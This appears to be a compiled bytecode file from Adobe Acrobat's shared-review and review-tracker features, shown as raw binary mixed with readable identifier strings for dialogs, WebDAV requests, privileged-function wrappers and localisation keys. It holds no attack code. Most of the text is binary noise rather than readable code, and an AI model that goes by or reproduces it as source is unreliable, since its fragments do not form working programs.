�:QV5)�ΐ��Θ��Θ��Θ����ʐ���ʐʐ���ʐʐ͐��ʐʐʐ���ʐʐϐ��ʐϐژ�"�ʐʐʐː��ʐ��ʐϐ��ʐʐʐː��ʐ��ʐϐ�였B�ѐ�䐈ѐ�ɈObject
initializecommitbrwsdescriptionShare a Filenameviewtype
align_leftalign_childrenstatic_textSelect a file to share:width
align_fill	alignment	align_row	edit_textpathitem_idbuttonAnnotsString
IDS_BROWSEelementsSend email to:dialogfontbold	multilineedit_text_heightprodheightinvtMessage:mesg	ok_cancelapp	beginPriv
execDialogANTrustPropagateAllendPrivresult�����J�dialogtoLoadi7�7�A;�R6QA5B6QY�����]\WQT�
�V�:Q��ѐ�͐ؐ�ӈresultObjectresponsepathload�������
dialogvalues89�T�
�:WQ;�
�:QA5;�
�V5�:6Q;�
�:QA5V5	6QA5V56
QA5C6Q�Ґ�ѐ�合ѐ�Ԑ�Ԑ�͈storeapp	beginPrivresultpathCollabconvertPlatformPathToDIPathendPrivInviteinvtMessagemesgresponse�������	$dialogpplatPathtoLoad89�:�	;�
�:Q;�
�:WQ;�
�:QVi;�
�:Q;�
�V5�:WQ;�
�:QYV]\WQT�
�V�:Q��ѐԐ�ѐ������	ѐݐ�	ѐҐ�ӈapp	beginPrivbrowseForDocendPrivCollabconvertDIPathToPlatformPathcPathpathload����ANDefaultInvite=�docbUpdate
decodedURL$@�@HT5 9��T�T�:9��T�T�:�����א�׈$externalANSendForReviewCBBBRInvite����CBdef�
ab�@AOT'=
TT����ш 	undefined����Matrix2D��Nabcdhv1A|JTA9��T�?�:6QA9��T�>�:6QA9��T�>�:6QA9��T�?�:6QA9��T�>�:6QA9��T�>�:6QA�6QA�6QA�6	QA�6
QA�6QA�6QA�6
Q��ې�ې�ې�ې�ې�ې�̘�o�̘�~�̘���̘���̘���̘���̘���aCBdefbcdhvfromRotated	transformconcatinvert	translatescalerotate�������4/docpagecropBoxmediaBoxmbHeightmbWidthrotationm�A�D\9��T�>�:UQT�
�=�T�:WQT�
�=�T�:WQV?7V�7WQV�7V>7WQT�
�T�:WQ;�?�>�>�?�V>7V>7�V�7V�7�RWQV�ZJA�
�V�
�;�	
�?�:�:�

�V�>�:�:�VX�PA�
�V�
��;�	
�?�:"�:�

�V�V�:�:RVXFA�
�V�
�;�	
�?�:"�:�

�>�V�:�:A�
�V�:��ؐ�ܐܐАА֐�E����K��ֈ"����Ԉ퐈шCBdef
getPageBoxCropMediagetPageRotationMatrix2DconcatrotateMathasin	translate������
[ptsresultn�DSFo	;�T��RWQT>7�=P>WQ.mVVA�
�TV7�:8QV#?WQQ�VT������>WQnmVVA5TV7A5TV?7A58QVV?A5TV7A5TV?7A5	8QV�WQ�V?T�����V�א���K��$."<��ݘ�t�"̘�u��t�ؐ���$nd~�����x���w�&u��z��w�՘�|��Arraylengthobject	transformachbdv}~2<�������mlFzG~
;�A5T5A5T5�A5T5A5T5�A5T5A5T5�A5T5A5T5�A5T5A5T5T5�A5T5A5T5T5�R���������*Matrix2Dabcdhv�������0resultq�G�H�	;�RWQA5A5A5A5WQV�VA5"V6QVA5V6QVA5V6QVA5"V6QVA5V5A5V5"6QVA5V5A5V5"6QV�ΐߐ�����ѐ�Ӑ�Ӑ��ѐ��搈�搐��Matrix2Dbcadhv�����K�	dxdyIlI�
A�
�;�?�>�>�?�9��T�>�:�9��T�>�:�R�:���ˈIconcatMatrix2DCBdef�����K�	sxsy�I�I�A�
�;�9��T�?�:�>�>�9��T�?�:�>�>�R�:���ˈIconcatMatrix2DCBdef�������t�IyJ�9��T�>�:UQA�
�;�;�
�T�:�;�
�T�:�;�
�T�:"�;�
�T�:�>�>�R�:��ؐ���:��"CBdefconcatMatrix2DMathcossin����hasHankoT�	�JK�;5=DBQ;5=D,Q;5=DQ;5=���ԈpapplanguageJPNKORCHSCHT�������0�	arguments@Kwh�	�����Q;5�=�;59��Y�]\�:6Q;59��Y�]�]�]	�]
\�:6Q;5;�
��:6Q�ė�����Ր�՘��Ր�ʘ��ʘ�ʘ�՘��昀�NetHTTP	undefinedDocCtrANTrustPropagateAllCreateWorkspaceWebDAVCreateCollectionPutFile
DeleteFileEnumerateCollection
runTaskSetapptrustedFunction�������#cURLparams�KN�Y=]T]9��Y�]\�:]\WQ;�
�:Q;�	
�=
�:Q;5�
�V�:Q;�
�:Q���ʐȐː��٘�Ȉѐ�א�ڐ�шPROPFINDcVerbcURLANTrustPropagateAllresponseoHandlerapp	beginPrivconsoleprintlnsending PROPFIND requestNetHTTPrequestendPriv�����-�msgurieVL�M�;�
�=�:Q;�
�T�:Q��ˆא�ՈconsoleprintlnReceived response:�������%cURL
oDidHappenoAuthparams^NsP�Y=]T]9��YT]�]\�:]T]\WQ;�	
�:Q;
5�
�V�:Q;�
�:Q���ʐȐː�ȐԘ��͐���ѐ��ڐ�шMKCOLcVerbcURLANTrustPropagateAlloNotifyresponseoHandler
oAuthenticateapp	beginPrivNetHTTPrequestendPriv�����R�msgurieO�O�T;EQT5X� A5�
�T�:QA5�
�X��:Q�����ې�
ֈ%	undefinederroroNotifyonErroronCreateCollection�������&cURLoData
oDidHappenoAuthparams�P9R�Y=]T]T]9��YT]�]\�:]T]\WQ;	�

�:Q;5�
�V�:Q;	�
�:Q���ʐȐȐː�ȐԘ��͐���ѐ�ڐ�шPUTcVerbcURLoRequestANTrustPropagateAlloNotifyresponseoHandler
oAuthenticateapp	beginPrivNetHTTPrequestendPriv�����@�msgurieUQ�Q�T; A5�
�T�:QA5�
�X��:Q���ې�
ֈ	undefinedoNotifyonError	onPutFile�������$cURL
oDidHappenoAuthparamsSR�SY=]T]9��YT]�]\�:]T]\WQ;�	
�:Q;
5�
�V�:Q;�
�:Q���ʐȐː�ȐԘ�͐���ѐ�ڐ�шDELETEcVerbcURLANTrustPropagateAlloNotifyresponseoHandler
oAuthenticateapp	beginPrivNetHTTPrequestendPriv�����@�msgurieS}ST; A5�
�T�:QA5�
�X��:Q���ې�
ֈ	undefinedoNotifyonErroronDeleteFile�������,�cURLoEnumeratoroAuthparams	argumentsT�^	�����QY=]�����]9��Y;�
������:]�����]�]\�:]	�����]
ZY=]=
]\`\]\�����Q;�
�:Q;5�
������:Q;�
�:Q�ė���ʐΐː�ߐΐԘ�tΐ��{�ѐ��шPROPFINDcVerbcURLANTrustPropagateAllutilcrackURLoBaseURL
enumeratorresponseoHandler
oAuthenticateDepthname1valueaHeadersapp	beginPrivNetHTTPrequestendPriv�������/���responseuriestringxmlDeclMatchermsgns	responsesiresppropresourcehref	arguments�T�]$	�����Q������;&A5�
������:Qh;�
������:�����Q������Q������
������=�:�����Q������
��=�:�����Q9�������:�����Q;�=	�R�����Q�����������
��	����QA55;A5�
�:Q�	����KmM�
����Q�	�����
����7�����Q�	�����
����7;�
7;�7�����QY\�
����Q�����;�7�����Q������
�>�:=�A5;;6Q;5=6Q;;-;5=;=6Q;5;6Q;;";5=;6Q;5;6Q[A55;"�
���������6Q(�
����������
�:6Q�
���������;� 76Q�
���������;�"76!Q�
���������;�$76#Q�
���������;�&76%Q�
���������;�(76'Q�
���������;�*76)Q�
����5);�+7;<A55,;!A5�,
�
�����:Q!A5�-
�
�����:Q�L����NA55.;A5�.
�:Q:�v�QA5�
��:Q��ė����!���ᐐ���ϐ�ꐐ␐ڐ␐���Ґ��0�ѐ�ݐ�А��ސ��Ǖ�����
А�
�p��(���p̐���p�����p���
�p͘�U�����
ݐ��
㐐��㐈㐈㐈㐈㐈㐐�7�����
ᐈ吐�����x��А��܀{��	undefined
enumeratoronErrorSOAPstringFromStreamreplaceXML	NamespaceDAV:responseonEnumerateBeginnspropstatprophrefcharAt/oBaseURLresourceurlcScheme://nURLTypeIPV6Type[cHost]nPort:toStringdisplayNamedisplaynamelastModifiedgetlastmodified
contentLengthgetcontentlengthcontentTypegetcontenttypeetaggetetagtyperesourcetype
collectiononEnumerateCollectiononEnumerateFileonEnumerateEnd����e^<\?xml version[^>]+?>\n�W�������'�taskSetoTaskDialog�^ah�YT]@]>]B]�]�]�]�]�]�]	�]
�]YT5]
ZY=]=]ZY=]=]T5]
ZY=]=]ZY=]X,]�]=]\`Y=]=];5]
\`\]\`Y=]=]= ]=!]
\`\]\`\]\`\]\]"\WQ;#�$
�:Q;#�%
�V�:Q;#�&
�:QV5����Ȑ�����ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ�ϕ͐���ʐʐ���ʐʐ͐���ʐʐ���ʐȐ�ϐ��ʐʐߘ��ʐʐʐ�����ѐ�Ր�ѐ��ɈoTaskSetoDialognCurrentTaskbResultgetCurrentTaskrunCurrentTask
handleSuccess
handleFailure
initialize
setTaskStatussetTaskProgresscnclcTitlenameviewtype
align_fill	alignmentclustertaskitem_id	align_rowalign_childrenprogress_barwidthheightprogbuttonAnnotsString
IDS_CANCELelementsstatic_textdesc<STATUS>descriptionapp	beginPriv
execDialogendPriv������n_�_�A55A57��ӈ/oTaskSetaTasksnCurrentTask�������"�_�`��A�
�>�:QA�
�:�
�A�A5�:QA�
��d�:QG�vWQ;�
�V�:Q;�
�V5�:Q�����ϐ�ᐈ�x��ʐ��Ր�ڀ{��setTaskProgressgetCurrentTaskrunTaskoTaskSetconsoleprintlnstack����eE�������
 �`�a�A�
�:�
�A�A5�:QA5#?�
6QQA5A55�:AC6QA5�
�Y;	5
]\�:QA�
�:Q��ᐈՐ��5����Ȑ�퐐�͈getCurrentTask	onSuccessoTaskSetnCurrentTaskaTaskslengthbResultoDialogloadAnnotsStringIDS_DONEcnclrunCurrentTask�����Z�eb�b�T;EQT5;A�
�T5�:QA�
�:�
�A�A5�:Q����֐���5	undefinedtext
setTaskStatusgetCurrentTask	onFailureoTaskSet������dialog�bc�AT6QA�
�:Q��ʐ�͈oDialogrunCurrentTask�����"�status6cqc�A5�
�YT]\�:Q���$oDialogloaddesc�����N�nPercentnSegLen	nComplete�cJd��dA55�WQA5T�dWQA5�
�YVV]\�:Q�אѐ��1oTaskSetaTaskslengthnCurrentTaskoDialogloadprog������dialog_d�d�T�
�=�:Q��Ոendcncl�����H�
�HRM��rmaNSinboxNSrtNSwrkflwNScReviewsIveSentURLcReviewsIveSentFeedLinkcReviewsIveReceivedURLcReviewsIveReceivedFeedLinkcReviewsSuperGroupURLcReviewsSuperGroupLinkcReviewsOfflineURLcReviewsOfflineFeedLinkcServersURLcServersFeedLinkcServerItemLink	rmaMethodrmaDocIDrmaDocTitle
rmaDocLinkrmaTormaCcrmaBccrmaIsOfflinermaIsInitiatedrmaIsOnlinermaLastSyncrmaLatestVersionrmaRemoteURLrmaLocationrmaLocationPathType	rmaFolder
rmaServersrmaHasConnectedrmaConnectionStatusrmaWorkspaceinboxHiddenwrkflwIDwrkflwDocTitle
wrkflwDocLinkwrkflwDeleteLink
wrkflwTypewrkflwHasErrorwrkflwServerWorkflowsserverErrorsREVIEW_STATE_ACTIVEREVIEW_STATE_ENDEDREVIEW_STATE_SUSPENDEDREVIEW_STATE_CORRUPTEDEVENT_LOGGING_CATEGORY_TRACKER!EVENT_LOGGING_SUBCATEGORY_REVIEWSLogAVUMEventReviewTrackerAddNewFolderRemoveMultipleSelectedReviews!SetReviewFolderForMultipleReviewsReviewTrackerRemoveFolder,ReviewTrackerRemoveFolderWhileMultipleSelectTrackerExpandSelectionTrackerCanExpandSelectionTrackerCollapseSelectionTrackerCanCollapseSelectionReviewHasDeadline ReviewHasCommentRepositoryIntactReviewStateReviewTrackerRemoveReview,ReviewTrackerRemoveReviewWhileMultipleSelectoReviewTrackerUIoOfflineTrackerUIoServerStatusUIoRSSSuperGroupUIoReviewsSuperGroupUIoUberSummaryUI	arguments�hmN	�I����Q;'=
�=�����Q=�����Q=�����Q=�����Q=�����Q=�����=����������Q=	�����Q=�����=������	����Q=
�
����Q=�����=�
���������Q=�����Q=�����=������
����Q=�����Q=�����=����������Q=�����=����������Q�����=
�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=� ����Q�����=�!����Q�����=�"����Q�����=�#����Q�����= �$����Q�����=!�%����Q�����=�&����Q�����=�'����Q�����=�(����Q�����="�)����Q�����=#�*����Q�����=$�+����Q�����=%�,����Q�����=&�-����Q='�.����Q=(�/����Q=)�0����Q=*�1����Q=+�2����Q=,�3����Q;-�.
��:�4����Q;-�.
��:�5����Q;-�.
��:�6����Q;-�.
��:�7����Q;-�.
��:�8����Q;-�.
��:�9����Q;-�.
��:�:����Q;-�.
��:�;����Q;-�.
��:�<����Q;-�.
�	�:�=����Q;-�.
�
�:�>����Q;-�.
��:�?����Q;-�.
��:�@����Q;-�.
�
�:�A����Q;-�.
��:�B����QY;-�.
��:]/;-�.
��:]0�]1�]2�]3�]4�]5�]6�]7�]8�]9�]:�];�]<�]=�]>�]?� ]@�!]A�"]B�#]C�$]D�%]E�&]F�']G\�C����QY�(]H;-�.
�)�:]/�*]5�+]6�,]7�-]2�.]3�/]8�0]9�1]:�2];�3]<�4]=�5]>�6]?�7]@\�D����QY;-�.
�8�:]/�9]5�:]7�;]2�<]3�=]:�>]<\�E����QY;-�.
�?�:]/�@]5�A]7�B]:�C]<\�F����QY;-�.
�D�:]/;-�.
�E�:]1�F]:�G]<\�G����QY;-�.
�H�:]/�I]5�J]7�K]:�L]<\�H����Q;-�I
�:Q;�J
�=K�C�����:Q;�J
�=L�D�����:Q;�J
�=M�E�����:Q;�J
�=N�F�����:Q;�J
�=O�G�����:Q;�J
�=P�H�����:Q;-�Q
�:Q�ė������ϐϐϐϐ��ϐ�ϐ�ϐ�ϐ鐐ϐ�鐐�ِِِِِِِِِِِِِِِِِِِِِ��ِِِِِِِِ��ϐϐϐϐ��ϐϐ��V������������������
���@�U��ۘ�Vۘ�vʘ��ʘ��ʘ��ʘ��ʘ��ʘ�vʘ��ʐ�ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ�	ʐʐ�՘�,��ʘ�Vۘ�#ʘ�(ʘ��ʘ��ʘ��ʘ��ʐ�ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��ʘ��՘�쐕ۘ� _ʘ� �ʐ�ʘ� �ʘ� �ʐ՘� ���ۘ�!ʐʐ�ʐ՘�!��ۘ�!zۘ�!�ʐ՘�!���ۘ�$�ʐʐ�ʐ՘�$�ѐ�ᐈᐈᐈᐈᐈᐈшRSS	undefined(http://ns.adobe.com/Acrobat/RSS/Reviews/&http://ns.adobe.com/Acrobat/RSS/Inbox/)urn://ns.adobe.com/Acrobat/ReviewTracker/*http://ns.adobe.com/Acrobat/RSS/Workflows/>urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/MyReviews.rssacrobat:Inbox?container=&selectFeed=Gurn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ParticipantReviews.rssFurn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ReviewsSuperGroup.rssCurn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/OfflineReviews.rssBurn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ReviewServers.rss:method:docID	:docTitle:docLink:to:cc:bcc
:isOffline:isInitiated	:isOnline	:lastSync:latestVersion
:remoteURL	:location:locationPathType:folder:serverReviews
:hasConnected:connectionStatus
:workspace:hidden:deleteLink:type	:hasError:serverWorkflows
:serverErrorsActiveEnded	Suspended	CorruptedTrackerReviewsapptrustedFunction
createContextgetInitiateMenugetGroupContextMenu
getFeedTip
getItemTipgetGroupTipgetFeedContextMenugetMultipleSelectContextMenugetItemContextMenusupportsMultipleSelection$isCompatibleForMultipleSelectionWith
canDeleteFeed canDeleteFeedWhileMultipleSelect
canDeleteItemonDeleteItem canDeleteItemWhileMultipleSelectonDeleteItemWhileMultipleSelectonDeleteAllMultipleSelectedcanDeleteGroup
onDeleteGroup!canDeleteGroupWhileMultipleSelect onDeleteGroupWhileMultipleSelectcanChangeGroupscanModifyItemGroupmodifyItemGroup
createToolBar	beginPrivaddUI3urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker4urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker3urn://ns.adobe.com/Acrobat/Tracker/UI/ServerTracker3urn://ns.adobe.com/Acrobat/Tracker/UI/RSSSuperGroup7urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup1urn://ns.adobe.com/Acrobat/Tracker/UI/UberSummaryendPriv�����f�
categorysubcategory	eventNamelogEventParams5uEvJY\WQVT6QVT6QVT6Q;�
�:Q;�
�V�:Q;�
�:Q�ʐ�̐�̐�̐��ѐ�Ր�шcatsubcatevntapp	beginPrivCollabAVUMLogEventWrapperendPriv�����=��;urlresultcurrentfolderbFoundimsg�v.|V
VQ;�
�T�:WQm;�
�:Q;�
�;5�;5�:WQ;�
�:QV;	EQV@�V�
?DQV�
�L;�
�:Q;�
�;5�?�>�:Q;�
�:Q=BWQV;	H>WQ!mVV7VWQV#?WQQ�VV�
E
QV ����Vo;5
WQV�
��V�:WQ;�
�:Q;�
�V�?�>�:Q;�
�:Qu;�
�:Q;�
�T�V�:Q�4�����2�����3�����=�:Q;�
�:QVWQ

�C����V��ؐ�(�������\���ѐؐҐ�ѐ�������G���ѐ��֐��������
$!9��И�p�4̘�q��p�Ԉɘ�tj��ΐ�ܐ�ѐ�٘�}�֐����ѐ�ِ�鐈ѐ��@ʘ��@��[�Ș����CollabgetReviewFoldersapp	beginPrivresponseAnnotsStringIDS_REVIEW_PANEL_ADD_FOLDERIDS_REVIEW_PANEL_NEW_FOLDERendPriv	undefinedlengthalertIDS_REVIEW_PANEL_FOLDER_LENGTHIDS_REVIEW_PANEL_FOLDER_EXISTSreplaceaddReviewFolderCreateFolder%s!9�������W.bIsInitiatedmsgboxtitleresultu|��	�Tn;5oQn;5oQ;�
�:Q;5=;5;5	WQ;�

�YV];]�]
�]\�:WQ;�
�:QV�c;�
�:Q;�
�:Q�4�����2�����3�����=�:Q;�
�:QCB~�vWQ;�
�=V�:Q;�
�V5�:Q9��=V�:Q9��V5�:Q������ڐ��Ր��ѐ����ѐ����ѐ�ѐ�鐈ѐ������z��ʐ��ې�ڐ�ِ�؀{��msgAnnotsString-IDS_REVIEW_PANEL_CONFIRM_REMOVE_MULTIPLE_SENT/IDS_REVIEW_PANEL_CONFIRM_REMOVE_MULTIPLE_JOINEDapp	beginPriv
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATalertcTitlecMsgnIconnTypeendPrivCollab&removeMultipleSelectedReviewsInTrackerRemoveMultipleconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert����e6�������
*feedURL	reviewIDs
folderName_��;�
�:Q;�
�T�T�T�:Q;�
�:Q~�vWQ;�
�=V�:Q;�
�V5�:Q9	�	�=V�:Q9	�	�V5�:Q�����ѐ�ݐ��x��ʐ��ې�ڐ�ِ�؀{��app	beginPrivCollab!setReviewFolderForMultipleReviewsendPrivconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert����eD�����P�:$urlfoldermsgmsgboxtitleresult�ل�VQT�����;5WQ;5WQV�
��T�:WQ;�
�:Q;5=;5;5	WQ;�

�YV]V]�]
�]\�:WQ;�
�:QV�i;�
�:Q;�
�T�T�:Q�4�����2�����3�����=�:Q;�
�:Q�����Ӑ��ΐ�ܐ��ѐ����ѐ����ѐ�ِ�鐈шAnnotsString+IDS_REVIEW_PANEL_CONFIRM_REMOVE_FOLDER_SENT-IDS_REVIEW_PANEL_CONFIRM_REMOVE_FOLDER_JOINEDreplaceapp	beginPriv
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATalertcTitlecMsgnIconnTypeendPrivCollabremoveReviewFolderRemoveFolder%foldername%�����<�	urlfolder/����;�
�:Q;�
�T�T�:Q;�
�:Q��ѐ�ِ�шapp	beginPrivCollabremoveReviewFolderendPriv�����4�	Յ)��;�
�:Q;�
�:Q;�
�:Q��ѐ�ѐ�шapp	beginPrivCollabexpandTrackerSelectionendPriv�����5�url	canExpandl���;�
�:Q;5WQ;�
�:QV��ѐΐ�ѐ���app	beginPrivCollabcanExpandTrackerSelectionendPriv�����4�	/����;�
�:Q;�
�:Q;�
�:Q��ѐ�ѐ�шapp	beginPrivCollabcollapseTrackerSelectionendPriv�����5�urlcanCollapseʇQ��;�
�:Q;5WQ;�
�:QV��ѐΐ�ѐ���app	beginPrivCollabcanCollapseTrackerSelectionendPriv�����?�	docIDhasDeadline���;�
�:Q;�
�T�:WQ;�
�:QV��ѐؐ�ѐ���app	beginPrivCollabhasReviewDeadlineendPriv�����?�	docIDhasCommentRepositoryIntact\��
;�
�:Q;�
�T�:WQ;�
�:QV��ѐؐ�ѐ���"app	beginPrivCollab hasReviewCommentRepositoryIntactendPriv�����?�	docIDreviewStateD�NJ;�
�:Q;�
�T�:WQ;�
�:QV��ѐؐ�ѐ���app	beginPrivCollabgetReviewStateendPriv�������X'itemcTypedocIDmsgisInitiatedmsgboxtitleresult
��T5�����7WQVQT5�����7WQVEQT=;5WQ;5WQV�
��T5�:WQ;�
�:Q;5	=
;5;5WQ;�
�YV]V]�]�]\�:WQ;�
�:QV�EQV'=|Tx=y
z;�
�V�:Q;�
�V�:Q�4�����2�����3�����=�:QCB�֐��֐���Ӑ��ΐ��ᐐ�ѐ����ѐ�̈�w��cD��mʐ�ՐP����ՐP���鐈����
	ExtensionSharedReviewAnnotsString+IDS_REVIEW_PANEL_CONFIRM_REMOVE_REVIEW_SENT-IDS_REVIEW_PANEL_CONFIRM_REMOVE_REVIEW_JOINEDreplaceTitleapp	beginPriv
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATalertcTitlecMsgnIconnTypeendPriv	undefinedOfflineCollabunregisterOfflineunregisterReviewRemove%reviewname%�����v�,	itemcTypedocID=�y�@T5�����7WQV'=STx=y
z;�
�V�:Q;�
�V�:QCB�֐��N��cD��mʐ�ՐP����ՐP�������
	Extension	undefinedOfflineCollabunregisterOfflineunregisterReview�����&�����result	arguments��&W		�����QY;5];5];5];5];5]	=
];5]
;5];5];5];5];5];5];5];5];5];5 ]!;5"]#;5$]%;5&]';5(]);5*]+;5,]-;5.]/;50]1;52]3;54]5;56]7=8;59=:];;5<]=;5]>;5?]@;5A]B;5C]D;5E]F;5G]H;5I]J;5K]L;5M]N;5O]P;5Q]R;5S]T;5U]V;5W]X;5Y]Z;5[]\;5]]^;5_]`;5a]b;5c]d;5e]f;5g]h;5i]j;5k]l;5m]n;5o]p;5q]r;5s]t;5u]v;5w]x;5y]zY;5{]|;5}]~\]Y@]�@]�\]�Y@]�\]��]��]��]��]�Y=�]�ZY=�]�=�]�=�]�ZY=�]�=�]�\`\]�\`\]�\]�\�����Q;���
�:Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q;���
�:Q������ė����ϐϐϐϐϐʐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐϐېϐ�ϐϐϐ��ϐϐϐϐϐϐϐϐϐϐϐ��ϐϐϐϐϐϐϐϐϐ��ϐϐϐϐϐϐϐϐ���ϐ՘����̘���̐��ʘ��ʘ�ʘ�#ʘ�;�ʐ���ʐʐʐ���ʐ�O�ѐ�ѐ�ʈAnnotsStringIDS_REVIEW_PANEL_MY_REVIEWScIveSentIDS_TRACKER_NO_SENT_REVIEWScNoIveSentReviews$IDS_REVIEW_PANEL_PARTICIPANT_REVIEWScIveReceivedcNoIveReceivedReviews%IDS_TRACKER_REVIEWS_SUPER_GROUP_TITLEcReviewsSuperGroupNBSP_PLACEHOLDERnbsp_placeholderIDS_TRACKER_NOT_APPLICABLEcNotApplicableIDS_TRACKER_NEW_BY_TOTALcNewByTotalIDS_TRACKER_UNREAD_BY_TOTALcUnreadByTotalIDS_TRACKER_NEW_BY_ACTIVEcNewByActiveIDS_TRACKER_ACTIVE_BY_TOTALcActiveByTotal'IDS_TRACKER_EXTRA_INFO_DEADLINE_UPDATEDcDeadlineUpdated IDS_TRACKER_VIEW_COMMENTS_BUTTONcViewCommentsButtonIDS_TRACKER_REVIEWERS_LABELcReviewersLabelIDS_TRACKER_CLICKcClickIDS_TRACKER_HEREcHereIDS_TRACKER_TO_RESUME_ACTIVEcToResumeActiveIDS_TRACKER_HOW_DO_I_FIX_THIScHowDoIFixThis%IDS_TRACKER_CHANGES_SINCE_LAST_VIEWEDcChangesSinceLastReviewedIDS_TRACKER_CHANGES_NONEcNoneSinceLastViewed!IDS_TRACKER_CHANGES_NEW_REVIEWERScNewReviewersSinceLastViewed IDS_TRACKER_CHANGES_NEW_COMMENTScNewCommentsSinceLastViewed IDS_TRACKER_CHANGES_REVIEW_ENDEDcReviewHasEnded$IDS_SHARED_REVIEW_STATUS_NO_COMMENTScNoCommentsIDS_SHARED_REVIEW_NO_DEADLINEcNoDeadline"IDS_SHARED_REVIEW_DEADLINE_UPDATEDcUpdated#IDS_SHARED_REVIEW_SENT_USING_SERVER
cSentUsing"IDS_SHARED_REVIEW_EMAIL_ATTACHMENTcEmailAttachment(IDS_TRACKER_EDIT_FILE_LOCATION)cEditFileLocationIDS_TRACKER_NONEcNonecNoSentReviewsIDS_TRACKER_NO_JOINED_REVIEWScNoJoinedReviews IDS_TRACKER_NO_REVIEWS_IN_FOLDERcNoReviewsInFolder&IDS_TRACKER_UBER_TABLE_HEADER_FILENAMEcTableHeaderFileName&IDS_TRACKER_UBER_TABLE_HEADER_DEADLINEcTableHeaderDeadline*IDS_TRACKER_UBER_TABLE_HEADER_NUM_COMMENTScTableHeaderNumberOfComments+IDS_TRACKER_UBER_TABLE_HEADER_NUM_REVIEWERScTableHeaderNumberOfReviewers-IDS_TRACKER_UBER_TABLE_HEADER_UNREAD_BY_TOTALcTableHeaderUnreadByTotal*IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_TOTALcTableHeaderNewByTotal+IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_ACTIVEcTableHeaderNewByActiveIDS_TABLE_HEADER_EMAILcTableHeaderEmailIDS_SHARED_REVIEW_STATUS_NAMEcTableHeaderReviewerIDS_TABLE_HEADER_TITLEcTableHeaderTitleIDS_SHARED_REVIEW_STATUS_STATUScTableHeaderReviewerType!IDS_DEFINITION_LIST_FILE_LOCATIONcDefListFileLocationPropIDS_DEFINITION_LIST_STATUScDefListStatusProp IDS_DEFINITION_LIST_ACCESS_LEVELcDefListAccessLevelPropIDS_DEFINITION_LIST_ERRORcDefListErrorPropIDS_DEFINITION_LIST_SENTcDefListSentPropIDS_DEFINITION_LIST_RECEIVED_ONcDefListReceivedOnPropIDS_DEFINITION_LIST_DEADLINEcDefListDeadlinePropIDS_DEFINITION_LIST_COMMENTScDefListCommentsPropIDS_DEFINITION_LIST_REVIEWERScDefListReviewersProp"IDS_TRACKER_ACTION_CHANGE_DEADLINEcChangeDeadlineIDS_TRACKER_ACTION_ADD_DEADLINEcAddDeadlineIDS_TRACKER_ACTION_END_REVIEW
cEndReview IDS_TRACKER_ACTION_DELETE_REVIEW
cDeleteReview IDS_TRACKER_ACTION_ADD_REVIEWERS
cAddReviewers*IDS_TRACKER_ACTION_NEW_WITH_SAME_REVIEWERScNewWithSameReviewers"IDS_TRACKER_ACTION_EMAIL_INITIATORcEmailInitiatorIDS_TRACKER_ACTION_EMAIL_ALLcEmailAllReviewersIDS_REVIEW_PANEL_LAST_RECVEBRIDS_REVIEW_PANEL_LAST_DOWNLOADBBR
reviewSync	cReviewIDoReviewInfo
currentReviewaReviewInfocurrentReviewsInFeedshowItemViewshowFeedViewonSelectionChanged
handleLinkPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv�����[�#�[����dialogfeedLLINK	selection	extension	cReviewID
reviewInfo
oReviewersoStatusoWorkflowStatenActiveReviewers
aReviewerscurReviewer	nCommentsnNewCommentscNamecTitlegroupcTopArrowXHTML
cSentRecvdcSentRecvdLinkcReviewName
cGroupLinkbIsInitiatedbIsSharedReviewcVisibleSharedReviewOnlycVisibleNonSharedReviewOnlycVisibleInitiatedReviewOnlycReviewFileLinkcReviewViewCommentsLinkcReviewFilePath
cReviewServer
cReviewStatusbReviewIsEndedbIsReviewCorruptedbIsReviewSuspendedcClickHerePostStringcClickHereLinkcHowDoIFixThisLinkcVisibleClickHerePartcVisibleHowDoIFixThis
cVisibleErrorcReviewErrorcSentRecvdDateTimecSentRecvdPropcSentRecvdUsingServeroAccessLevelcAccessLevelcVisibleAccessLevelcReviewDeadlinecReviewDeadlineUpdatecDeadlinePropValcVisibleDeadlinebIsCommentRepositoryDeletedcVisibleChangeDeadlinecVisibleAddDeadlinecReviewChangeDeadlineLinkcReviewAddDeadlineLinkbReviewHasEndedUpdatecReviewEndedStylecWorkflowsFileStatecVisibleEndReviewcReviewEndReviewLinkcPDFIconForReviewcReviewCommentscReviewReviewerscVisibleEmailInitiatorcVisibleAddReviewerscVisibleNewWithSameReviewerscReviewEmailInitiatorLinkcReviewEmailAllReviewersLinkcReviewAddReviewersLinkcReviewNewWithSameReviewersLink	viewXHTMLbodyxhtmli
tableXHTMLrolePriorityisRoleEqualisRoleLesserisReviewerLessercurrentcurValtrav
evenOddRowcurReviewerIndex	cComments	cRowColortrReviewerXHTMLstm	argumentsR�U��i	�^����Q�������Q������Q������
�:�����Q�����5�����Q����������7�����QA5�����6Q;�
�:QA5;�
������:6Q;�	
�:QA55�	����Q�	����5
�
����QY;5]
;5];5];5]\�����QY;5];5];5];5]\�����Q>�
����QZ\�����Q�
����K mM�����Q�����=
��
���������75�����Q�
